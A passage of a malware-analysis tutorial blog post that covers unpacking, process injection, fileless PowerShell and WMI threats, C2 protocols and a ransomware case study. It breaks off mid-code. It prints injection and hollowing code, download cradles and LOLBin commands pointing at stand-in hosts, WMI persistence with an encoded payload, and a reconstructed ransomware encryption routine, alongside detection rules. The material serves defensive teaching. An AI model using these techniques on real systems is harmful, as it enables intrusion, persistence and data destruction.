{"id":323,"date":"2025-04-11T14:16:01","date_gmt":"2025-04-11T13:16:01","guid":{"rendered":"https:\/\/siyaz.tech\/?p=323"},"modified":"2025-07-07T12:07:13","modified_gmt":"2025-07-07T11:07:13","slug":"malware-analysis-lesson-2-advanced-techniques-and-practical-examples","status":"publish","type":"post","link":"https:\/\/siyaz.tech\/index.php\/2025\/04\/11\/malware-analysis-lesson-2-advanced-techniques-and-practical-examples\/","title":{"rendered":"Malware Analysis &#8211; Lesson 2: Advanced Techniques and Practical Examples"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\"><\/h1>\n\n\n\n<div class=\"wp-block-table-of-contents\">\n<h2>Table of Contents<\/h2>\n<ol>\n<li><a href=\"#unpacking\">Advanced Static Analysis: Unpacking and Deobfuscation<\/a><\/li>\n<li><a href=\"#crypto-analysis\">Reverse Engineering Cryptographic Functions<\/a><\/li>\n<li><a href=\"#code-injection\">Advanced Dynamic Analysis: Code Injection Techniques<\/a><\/li>\n<li><a href=\"#fileless-malware\">Analyzing Fileless Malware<\/a><\/li>\n<li><a href=\"#c2-protocols\">C2 Communication Protocol Reverse Engineering<\/a><\/li>\n<li><a href=\"#ransomware-case\">Practical Case Study: Ransomware Analysis<\/a><\/li>\n<li><a href=\"#automation\">Automated Analysis Pipeline Development<\/a><\/li>\n<li><a href=\"#persistence\">Advanced Persistence Mechanism Analysis<\/a><\/li>\n<li><a href=\"#mobile-malware\">Mobile Malware Analysis Fundamentals<\/a><\/li>\n<li><a href=\"#threat-hunting\">Threat Hunting with Analysis Results<\/a><\/li>\n<\/ol>\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"unpacking\">1. Advanced Static Analysis: Unpacking and Deobfuscation<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Understanding Packers<\/h3>\n\n\n\n<p>Packers compress and encrypt executable files to evade detection and analysis. Common packers include UPX, Themida, VMProtect, and custom packers.<\/p>\n\n\n\n<p><strong>Identifying Packed Executables<\/strong>:<\/p>\n\n\n\n<p><strong>1. Entropy Analysis<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Python script to calculate section entropy\nimport math\nimport pefile\n\ndef calculate_entropy(data):\n    if not data:\n        return 0\n    entropy = 0\n    for x in range(256):\n        p_x = float(data.count(x)) \/ len(data)\n        if p_x &gt; 0:\n            entropy += - p_x * math.log(p_x, 2)\n    return entropy\n\npe = pefile.PE('packed_malware.exe')\nfor section in pe.sections:\n    entropy = calculate_entropy(section.get_data())\n    print(f\"{section.Name.decode().rstrip('\\x00')}: {entropy:.2f}\")<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Entropy &gt; 7.0 often indicates compression\/encryption<\/li>\n<\/ul>\n\n\n\n<p><strong>2. Section Characteristics<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Small .text section with large .data or custom sections<\/li>\n\n\n\n<li>Unusual section names<\/li>\n\n\n\n<li>Write + Execute permissions on sections<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Manual Unpacking Techniques<\/h3>\n\n\n\n<p><strong>Step-by-Step UPX Unpacking<\/strong>:<\/p>\n\n\n\n<p><strong>1. Load in x64dbg<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Open the packed executable<\/li>\n\n\n\n<li>Navigate to entry point (F9 to run to entry point)<\/li>\n<\/ul>\n\n\n\n<p><strong>2. Find OEP (Original Entry Point)<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Common techniques:\n- ESP tracking method\n- Jump to OEP pattern (JMP or PUSH\/RET)\n- Memory breakpoints on section access<\/code><\/pre>\n\n\n\n<p><strong>3. ESP Tracking Method<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>; At entry point\nPUSHAD                    ; Save all registers\n; ... unpacking code ...\nPOPAD                     ; Restore registers\nJMP original_entry_point  ; Jump to OEP<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Set hardware breakpoint on ESP access<\/li>\n\n\n\n<li>Run until POPAD instruction<\/li>\n\n\n\n<li>Step until JMP to OEP<\/li>\n<\/ul>\n\n\n\n<p><strong>4. Dumping Unpacked Code<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Use Scylla plugin in x64dbg<\/li>\n\n\n\n<li>Dump process at OEP<\/li>\n\n\n\n<li>Fix Import Address Table (IAT)<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Advanced Deobfuscation<\/h3>\n\n\n\n<p><strong>Control Flow Flattening<\/strong>:<\/p>\n\n\n\n<p>Original code:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if (condition) {\n    actionA();\n} else {\n    actionB();\n}<\/code><\/pre>\n\n\n\n<p>Obfuscated:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>state = 1;\nwhile (1) {\n    switch(state) {\n        case 1:\n            if (condition) state = 2;\n            else state = 3;\n            break;\n        case 2:\n            actionA();\n            state = 4;\n            break;\n        case 3:\n            actionB();\n            state = 4;\n            break;\n        case 4:\n            return;\n    }\n}<\/code><\/pre>\n\n\n\n<p><strong>Deobfuscation Approach<\/strong>:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Identify dispatcher loop<\/li>\n\n\n\n<li>Trace execution flow<\/li>\n\n\n\n<li>Reconstruct original control flow<\/li>\n\n\n\n<li>Use IDA Python scripts for automation<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">String Deobfuscation<\/h3>\n\n\n\n<p><strong>Common String Obfuscation<\/strong>:<\/p>\n\n\n\n<p><strong>1. XOR Encryption<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># IDA Python script to decrypt XOR strings\ndef xor_decrypt(encrypted, key):\n    decrypted = &#91;]\n    for i, char in enumerate(encrypted):\n        decrypted.append(chr(char ^ key&#91;i % len(key)]))\n    return ''.join(decrypted)\n\n# Find encrypted string references\nea = idc.get_screen_ea()\nencrypted_data = idc.get_bytes(ea, 50)\nkey = &#91;0x41, 0x42, 0x43]  # Found through analysis\nprint(xor_decrypt(encrypted_data, key))<\/code><\/pre>\n\n\n\n<p><strong>2. Stack Strings<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>; Building strings on stack\nmov dword ptr &#91;esp], 'ht'\nmov dword ptr &#91;esp+2], 'tp'\nmov dword ptr &#91;esp+4], ':\/\/'\n; Results in \"http:\/\/\"<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"crypto-analysis\">2. Reverse Engineering Cryptographic Functions<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Identifying Cryptographic Operations<\/h3>\n\n\n\n<p><strong>Common Crypto Constants<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># AES S-box first values\nAES_SBOX = &#91;0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5]\n\n# MD5 initialization values\nMD5_INIT = &#91;0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476]\n\n# RC4 key scheduling\nRC4_PATTERN = \"mov byte ptr &#91;ecx+eax], dl\"<\/code><\/pre>\n\n\n\n<p><strong>IDA Pro FLIRT Signatures<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Apply crypto library signatures<\/li>\n\n\n\n<li>Identify standard implementations<\/li>\n\n\n\n<li>Look for custom modifications<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Analyzing Custom Crypto<\/h3>\n\n\n\n<p><strong>Step-by-Step RC4 Analysis<\/strong>:<\/p>\n\n\n\n<p><strong>1. Key Scheduling Algorithm (KSA)<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ Identify this pattern in assembly\nfor (i = 0; i < 256; i++) {\n    S[i] = i;\n}\nj = 0;\nfor (i = 0; i < 256; i++) {\n    j = (j + S[i] + key[i % keylen]) % 256;\n    swap(S[i], S[j]);\n}<\/code><\/pre>\n\n\n\n<p><strong>2. Pseudo-Random Generation Algorithm (PRGA)<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>i = j = 0;\nwhile (generating_output) {\n    i = (i + 1) % 256;\n    j = (j + S&#91;i]) % 256;\n    swap(S&#91;i], S&#91;j]);\n    K = S&#91;(S&#91;i] + S&#91;j]) % 256];\n    output = input ^ K;\n}<\/code><\/pre>\n\n\n\n<p><strong>3. Extracting Keys<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Set breakpoints at crypto functions<\/li>\n\n\n\n<li>Dump memory containing key material<\/li>\n\n\n\n<li>Trace key derivation functions<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Practical Decryption Example<\/h3>\n\n\n\n<p><strong>Ransomware Configuration Decryption<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Found through reverse engineering\ndef decrypt_config(encrypted_config):\n    from Crypto.Cipher import AES\n    from Crypto.Util.Padding import unpad\n    \n    # Key found in binary at offset 0x4A300\n    key = b'\\x11\\x22\\x33\\x44' * 4  # 16 bytes for AES-128\n    iv = b'\\x00' * 16  # Often zeros or hardcoded\n    \n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    decrypted = cipher.decrypt(encrypted_config)\n    \n    # Remove PKCS7 padding\n    config = unpad(decrypted, AES.block_size)\n    return config\n\n# Extract C2 servers from decrypted config\nimport json\nconfig_data = decrypt_config(encrypted_blob)\nconfig = json.loads(config_data)\nprint(\"C2 Servers:\", config&#91;'c2_servers'])\nprint(\"Encryption Key:\", config&#91;'file_encryption_key'])<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"code-injection\">3. Advanced Dynamic Analysis: Code Injection Techniques<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Process Injection Methods<\/h3>\n\n\n\n<p><strong>1. Classic DLL Injection<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ Injection code pattern\nHANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);\nLPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, dllPathSize, \n                                     MEM_COMMIT, PAGE_READWRITE);\nWriteProcessMemory(hProcess, pRemoteBuffer, dllPath, dllPathSize, NULL);\nHMODULE hKernel32 = GetModuleHandle(\"kernel32.dll\");\nLPVOID pLoadLibrary = GetProcAddress(hKernel32, \"LoadLibraryA\");\nCreateRemoteThread(hProcess, NULL, 0, pLoadLibrary, pRemoteBuffer, 0, NULL);<\/code><\/pre>\n\n\n\n<p><strong>Monitoring with WinAPIOverride<\/strong>:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Attach to target process<\/li>\n\n\n\n<li>Monitor for:\n<ul class=\"wp-block-list\">\n<li>OpenProcess calls<\/li>\n\n\n\n<li>VirtualAllocEx allocations<\/li>\n\n\n\n<li>WriteProcessMemory operations<\/li>\n\n\n\n<li>CreateRemoteThread creation<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<p><strong>2. Process Hollowing<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>; Typical hollowing sequence\nCreateProcess(..., CREATE_SUSPENDED, ...)\nGetThreadContext(hThread, &amp;context)\nReadProcessMemory(...) ; Read headers\nNtUnmapViewOfSection(hProcess, pImageBase)\nVirtualAllocEx(hProcess, pImageBase, ...)\nWriteProcessMemory(...) ; Write malicious PE\nSetThreadContext(hThread, &amp;context)\nResumeThread(hThread)<\/code><\/pre>\n\n\n\n<p><strong>Detection in Sysmon<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!-- Sysmon config for process hollowing detection --&gt;\n&lt;ProcessCreate onmatch=\"include\"&gt;\n    &lt;CommandLine condition=\"is\"&gt;CREATE_SUSPENDED&lt;\/CommandLine&gt;\n&lt;\/ProcessCreate&gt;\n&lt;ProcessAccess onmatch=\"include\"&gt;\n    &lt;GrantedAccess&gt;0x1F0FFF&lt;\/GrantedAccess&gt;\n&lt;\/ProcessAccess&gt;<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Advanced Injection Techniques<\/h3>\n\n\n\n<p><strong>3. AtomBombing<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ Atom table injection\nGlobalAddAtom(shellcode_chunk);\n\/\/ Force target to access atom table\nNtQueueApcThread(hThread, GlobalGetAtomName, ...)<\/code><\/pre>\n\n\n\n<p><strong>4. SetWindowsHookEx Injection<\/strong>:<\/p>\n\n\n\n<p>Monitoring approach:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Volatility plugin to detect hooks\nvolatility -f memory.dmp --profile=Win10x64 messagehooks\n\n# Check for suspicious hook procedures\nvolatility -f memory.dmp --profile=Win10x64 callbacks<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Shellcode Analysis<\/h3>\n\n\n\n<p><strong>Extracting Injected Code<\/strong>:<\/p>\n\n\n\n<p><strong>1. Process Memory Dump<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Using Process Hacker\n1. Right-click on process\n2. Properties -&gt; Memory\n3. Find RWX regions\n4. Save selected region<\/code><\/pre>\n\n\n\n<p><strong>2. Shellcode Emulation<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Using Unicorn Engine\nfrom unicorn import *\nfrom unicorn.x86_const import *\n\ndef emulate_shellcode(shellcode):\n    mu = Uc(UC_ARCH_X86, UC_MODE_32)\n    \n    # Map memory\n    mu.mem_map(0x1000000, 2 * 1024 * 1024)\n    mu.mem_write(0x1000000, shellcode)\n    \n    # Set up stack\n    mu.reg_write(UC_X86_REG_ESP, 0x1200000)\n    \n    # Hook API calls\n    def hook_code(uc, address, size, user_data):\n        print(f\"Executing: 0x{address:x}\")\n    \n    mu.hook_add(UC_HOOK_CODE, hook_code)\n    \n    # Start emulation\n    mu.emu_start(0x1000000, 0x1000000 + len(shellcode))<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"fileless-malware\">4. Analyzing Fileless Malware<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">PowerShell-Based Threats<\/h3>\n\n\n\n<p><strong>Deobfuscating PowerShell<\/strong>:<\/p>\n\n\n\n<p><strong>1. Common Obfuscation Patterns<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Obfuscated\n${`e`x`e`c} = &amp;('n'+'ew-ob'+'ject') NeT.WeBcLiEnT\n${d`o`w`n} = ${`e`x`e`c}.\"d`o`w`N`l`o`A`d`S`t`R`i`n`g\"('ht'+'tp:\/\/c2.com\/payload')\n\n# Deobfuscated\n$exec = New-Object Net.WebClient\n$down = $exec.DownloadString('http:\/\/c2.com\/payload')<\/code><\/pre>\n\n\n\n<p><strong>2. PowerShell Logging<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Enable transcript logging\nStart-Transcript -Path \"C:\\Analysis\\ps_log.txt\" -Append\n\n# Enable script block logging via Group Policy\nComputer Configuration &gt; Policies &gt; Administrative Templates &gt; \nWindows Components &gt; Windows PowerShell &gt; Turn on PowerShell Script Block Logging<\/code><\/pre>\n\n\n\n<p><strong>3. Memory Analysis of PowerShell<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Volatility command to extract PowerShell history\nvolatility -f memory.dmp --profile=Win10x64 consoles\n\n# Extract .NET assemblies from memory\nvolatility -f memory.dmp --profile=Win10x64 dumpdotnet -D output\/<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">WMI-Based Persistence<\/h3>\n\n\n\n<p><strong>Detecting WMI Implants<\/strong>:<\/p>\n\n\n\n<p><strong>1. Query WMI Repository<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># List all WMI Event Filters\nGet-WMIObject -Namespace root\\subscription -Class __EventFilter\n\n# List Event Consumers\nGet-WMIObject -Namespace root\\subscription -Class __EventConsumer\n\n# List Bindings\nGet-WMIObject -Namespace root\\subscription -Class __FilterToConsumerBinding<\/code><\/pre>\n\n\n\n<p><strong>2. Malicious WMI Example<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Malicious Event Filter (triggers every 60 seconds)\n$Filter = Set-WmiInstance -Namespace \"root\\subscription\" -Class __EventFilter -Arguments @{\n    Name = \"MaliciousFilter\"\n    EventNameSpace = \"root\\cimv2\"\n    QueryLanguage = \"WQL\"\n    Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'\"\n}\n\n# CommandLineEventConsumer (executes PowerShell)\n$Consumer = Set-WmiInstance -Namespace \"root\\subscription\" -Class CommandLineEventConsumer -Arguments @{\n    Name = \"MaliciousConsumer\"\n    CommandLineTemplate = \"powershell.exe -NoP -W Hidden -Enc &lt;base64_payload&gt;\"\n}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Living-off-the-Land Techniques<\/h3>\n\n\n\n<p><strong>Analyzing LOLBins Usage<\/strong>:<\/p>\n\n\n\n<p><strong>1. Common LOLBins Patterns<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Downloading with certutil\ncertutil.exe -urlcache -split -f http:\/\/malicious.com\/payload.exe\n\n# Execution via mshta\nmshta.exe javascript:close(new ActiveXObject('WScript.Shell').Run('powershell -enc &lt;payload&gt;'))\n\n# DLL execution with rundll32\nrundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";eval(\"malicious_code\")<\/code><\/pre>\n\n\n\n<p><strong>2. Detection Strategy<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!-- Sysmon rule for LOLBin detection --&gt;\n&lt;ProcessCreate onmatch=\"include\"&gt;\n    &lt;CommandLine condition=\"contains\"&gt;certutil -urlcache&lt;\/CommandLine&gt;\n    &lt;CommandLine condition=\"contains\"&gt;mshta javascript:&lt;\/CommandLine&gt;\n    &lt;CommandLine condition=\"contains\"&gt;rundll32.exe javascript:&lt;\/CommandLine&gt;\n&lt;\/ProcessCreate&gt;<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"c2-protocols\">5. C2 Communication Protocol Reverse Engineering<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">HTTP\/HTTPS C2 Analysis<\/h3>\n\n\n\n<p><strong>Dissecting C2 Protocols<\/strong>:<\/p>\n\n\n\n<p><strong>1. Custom HTTP Headers<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/api\/beacon HTTP\/1.1\nHost: legitimate-site.com\nUser-Agent: Mozilla\/5.0 (compatible; MSIE 9.0)\nX-Session-ID: AES256(victim_id + timestamp)\nX-Request-Type: beacon\nCookie: session=BASE64(encrypted_data)\n\nENCRYPTED_PAYLOAD_DATA<\/code><\/pre>\n\n\n\n<p><strong>2. Protocol Reverse Engineering Steps<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Capture multiple communication sessions<\/li>\n\n\n\n<li>Identify patterns in headers\/data<\/li>\n\n\n\n<li>Correlate with binary analysis<\/li>\n\n\n\n<li>Decrypt\/decode payloads<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">DNS Tunneling Analysis<\/h3>\n\n\n\n<p><strong>Identifying DNS C2<\/strong>:<\/p>\n\n\n\n<p><strong>1. Suspicious DNS Patterns<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Wireshark display filter\ndns.qry.name matches \"^&#91;a-f0-9]{32}\\.\" and dns.qry.type == 1\n\n# Example DNS tunneling query\n# 61626364656667686970717273747576.malicious-c2.com\n# Decoded: \"abcdefghipqrstuv\" (data exfiltration)<\/code><\/pre>\n\n\n\n<p><strong>2. Decoding DNS Tunneling<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import base64\nimport struct\n\ndef decode_dns_tunnel(queries):\n    data = b''\n    for query in queries:\n        subdomain = query.split('.')&#91;0]\n        # Common encoding: hex\n        chunk = bytes.fromhex(subdomain)\n        data += chunk\n    \n    # May need additional decoding\n    return decompress(decrypt(data))<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Custom Binary Protocols<\/h3>\n\n\n\n<p><strong>Reverse Engineering Binary C2<\/strong>:<\/p>\n\n\n\n<p><strong>1. Protocol Structure Analysis<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>struct C2_Packet {\n    uint32_t magic;          \/\/ 0xDEADBEEF\n    uint16_t packet_type;    \/\/ Command type\n    uint16_t packet_length;  \/\/ Data length\n    uint32_t session_id;     \/\/ Victim identifier\n    uint8_t encrypted_data&#91;]; \/\/ AES encrypted payload\n};<\/code><\/pre>\n\n\n\n<p><strong>2. Creating Protocol Dissector<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>-- Wireshark Lua dissector\nlocal c2_proto = Proto(\"c2\", \"Custom C2 Protocol\")\n\nlocal f_magic = ProtoField.uint32(\"c2.magic\", \"Magic\", base.HEX)\nlocal f_type = ProtoField.uint16(\"c2.type\", \"Type\", base.DEC)\nlocal f_length = ProtoField.uint16(\"c2.length\", \"Length\", base.DEC)\nlocal f_session = ProtoField.uint32(\"c2.session\", \"Session ID\", base.HEX)\n\nc2_proto.fields = {f_magic, f_type, f_length, f_session}\n\nfunction c2_proto.dissector(buffer, pinfo, tree)\n    pinfo.cols.protocol = \"C2\"\n    local subtree = tree:add(c2_proto, buffer(), \"C2 Protocol\")\n    \n    subtree:add(f_magic, buffer(0,4))\n    subtree:add(f_type, buffer(4,2))\n    subtree:add(f_length, buffer(6,2))\n    subtree:add(f_session, buffer(8,4))\nend\n\ntcp_table = DissectorTable.get(\"tcp.port\")\ntcp_table:add(8443, c2_proto)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"ransomware-case\">6. Practical Case Study: Ransomware Analysis<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Initial Triage<\/h3>\n\n\n\n<p><strong>Sample: CryptoLocker Variant<\/strong><\/p>\n\n\n\n<p><strong>1. Static Properties<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SHA256: a1b2c3d4e5f6789...\nFile Type: PE32 executable\nCompile Time: 2024-01-15 08:30:00\nPacker: UPX 3.96<\/code><\/pre>\n\n\n\n<p><strong>2. Behavioral Summary<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Terminates shadow copies<\/li>\n\n\n\n<li>Encrypts files with .locked extension<\/li>\n\n\n\n<li>Drops ransom note: DECRYPT_INSTRUCTIONS.txt<\/li>\n\n\n\n<li>Communicates with Tor hidden service<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Detailed Analysis Workflow<\/h3>\n\n\n\n<p><strong>Step 1: Unpacking<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>; UPX unpacking at OEP\n0x00401000: PUSHAD\n0x00401001: MOV ESI, 0x00409000  ; Packed data\n0x00401006: MOV EDI, 0x00401000  ; Destination\n...\n0x00401150: POPAD\n0x00401151: JMP 0x004A5000       ; Original Entry Point<\/code><\/pre>\n\n\n\n<p><strong>Step 2: Encryption Routine Analysis<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ Reconstructed from assembly\nvoid encrypt_file(char* filename) {\n    FILE* file = fopen(filename, \"rb\");\n    if (!file) return;\n    \n    \/\/ Generate unique file key\n    unsigned char file_key&#91;32];\n    CryptGenRandom(hProv, 32, file_key);\n    \n    \/\/ Encrypt file key with RSA public key\n    unsigned char encrypted_key&#91;256];\n    RSA_public_encrypt(32, file_key, encrypted_key, rsa_public, RSA_PKCS1_OAEP_PADDING);\n    \n    \/\/ Read file content\n    fseek(file, 0, SEEK_END);\n    long file_size = ftell(file);\n    fseek(file, 0, SEEK_SET);\n    \n    unsigned char* buffer = malloc(file_size);\n    fread(buffer, 1, file_size, file);\n    fclose(file);\n    \n    \/\/ AES-256 CBC encryption\n    AES_KEY aes_key;\n    AES_set_encrypt_key(file_key, 256, &amp;aes_key);\n    \n    unsigned char iv&#91;16] = {0};\n    AES_cbc_encrypt(buffer, buffer, file_size, &amp;aes_key, iv, AES_ENCRYPT);\n    \n    \/\/ Write encrypted file\n    char new_filename&#91;MAX_PATH];\n    sprintf(new_filename, \"%s.locked\", filename);\n    file = fopen(new_filename, \"wb\");\n    \n    \/\/ File structure: &#91;RSA_encrypted_key]&#91;AES_encrypted_data]\n    fwrite(encrypted_key, 1, 256, file);\n    fwrite(buffer, 1, file_size, file);\n    fclose(file);\n    \n    \/\/ Delete original\n    DeleteFile(filename);\n}<\/code><\/pre>\n\n\n\n<p><strong>Step 3: Kill Switch Discovery<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># IDA Python script to find kill switch\nimport idaapi\nimport idc\n\n# Search for mutex creation\nmutex_refs = &#91;]\nfor addr in idautils.XrefsTo(idc.get_name_ea_simple(\"CreateMutexW\")):\n    mutex_refs.append(addr.frm)\n\n# Analyze mutex names\nfor ref in mutex_refs:\n    # Trace back to find mutex name\n    mutex_name_addr = idc.get_operand_value(ref - 0x10, 1)\n    mutex_name = idc.get_strlit_contents(mutex_name_addr, -1, idc.STRTYPE_UNICODE)\n    print(f\"Mutex: {mutex_name}\")\n    \n# Found: Global\\MsCryptoLockerKillSwitch2024<\/code><\/pre>\n\n\n\n<p><strong>Step 4: C2 Communication<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Extracted Tor configuration\nTOR_HIDDEN_SERVICE = \"cryptolocker2024xxxxxxxxx.onion\"\nBITCOIN_ADDRESS = \"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\"\n\n# Communication protocol\ndef send_infection_report(victim_id, encrypted_files_count):\n    data = {\n        \"victim_id\": victim_id,\n        \"timestamp\": time.time(),\n        \"files_encrypted\": encrypted_files_count,\n        \"bitcoin_address\": BITCOIN_ADDRESS,\n        \"system_info\": get_system_info()\n    }\n    \n    # Send via Tor\n    session = requests.Session()\n    session.proxies = {'http': 'socks5h:\/\/localhost:9050',\n                      'https': 'socks5h:\/\/localhost:9050'}\n    \n    response = session.post(f\"http:\/\/{TOR_HIDDEN_SERVICE}\/report\",\n                          json=data, timeout=30)<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Recovery and Mitigation<\/h3>\n\n\n\n<p><strong>File Recovery Attempts<\/strong>:<\/p>\n\n\n\n<p><strong>1. Check for Encryption Flaws<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Analyze encryption implementation\n# Found: IV reuse vulnerability in early versions\ndef attempt_recovery(encrypted_file):\n    # If same IV used for multiple files\n    # Known plaintext attack possible\n    pass<\/code><\/pre>\n\n\n\n<p><strong>2. Shadow Copy Recovery<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>vssadmin list shadows\n# If ransomware failed to delete all shadows\nmklink \/d C:\\ShadowRestore \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"automation\">7. Automated Analysis Pipeline Development<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Building an Analysis Framework<\/h3>\n\n\n\n<p><strong>Architecture Overview<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># analysis_pipeline.py\nimport os\nimport hashlib\nimport subprocess\nimport json\nfrom datetime import datetime\n\nclass MalwareAnalysisPipeline:\n    def __init__(self, sample_path):\n        self.sample_path = sample_path\n        self.sample_hash = self.calculate_hash()\n        self.results = {\n            \"hash\": self.sample_hash,\n            \"timestamp\": datetime.now().isoformat(),\n            \"static_analysis\": {},\n            \"dynamic_analysis\": {},\n            \"network_analysis\": {},\n            \"verdict\": \"unknown\"\n        }\n    \n    def calculate_hash(self):\n        sha256_hash = hashlib.sha256()\n        with open(self.sample_path, \"rb\") as f:\n            for byte_block in iter(lambda: f.read(4096), b\"\"):\n                sha256_hash.update(byte_block)\n        return sha256_hash.hexdigest()\n    \n    def run_static_analysis(self):\n        # PE analysis\n        pe_info = self.analyze_pe_structure()\n        self.results&#91;\"static_analysis\"]&#91;\"pe_info\"] = pe_info\n        \n        # String extraction\n        strings = self.extract_strings()\n        self.results&#91;\"static_analysis\"]&#91;\"strings\"] = strings\n        \n        # YARA scanning\n        yara_matches = self.run_yara_rules()\n        self.results&#91;\"static_analysis\"]&#91;\"yara_matches\"] = yara_matches\n        \n    def run_dynamic_analysis(self):\n        # Sandbox execution\n        sandbox_report = self.execute_in_sandbox()\n        self.results&#91;\"dynamic_analysis\"] = sandbox_report\n        \n    def analyze_pe_structure(self):\n        # Using pefile\n        import pefile\n        pe = pefile.PE(self.sample_path)\n        \n        return {\n            \"imphash\": pe.get_imphash(),\n            \"compile_time\": datetime.fromtimestamp(pe.FILE_HEADER.TimeDateStamp).isoformat(),\n            \"sections\": &#91;\n                {\n                    \"name\": section.Name.decode().rstrip('\\x00'),\n                    \"virtual_size\": section.Misc_VirtualSize,\n                    \"raw_size\": section.SizeOfRawData,\n                    \"entropy\": section.get_entropy()\n                }\n                for section in pe.sections\n            ],\n            \"imports\": self.extract_imports(pe)\n        }\n    \n    def execute_in_sandbox(self):\n        # Cuckoo Sandbox integration\n        cmd = &#91;\"cuckoo\", \"submit\", \"--file\", self.sample_path]\n        result = subprocess.run(cmd, capture_output=True, text=True)\n        task_id = json.loads(result.stdout)&#91;\"task_id\"]\n        \n   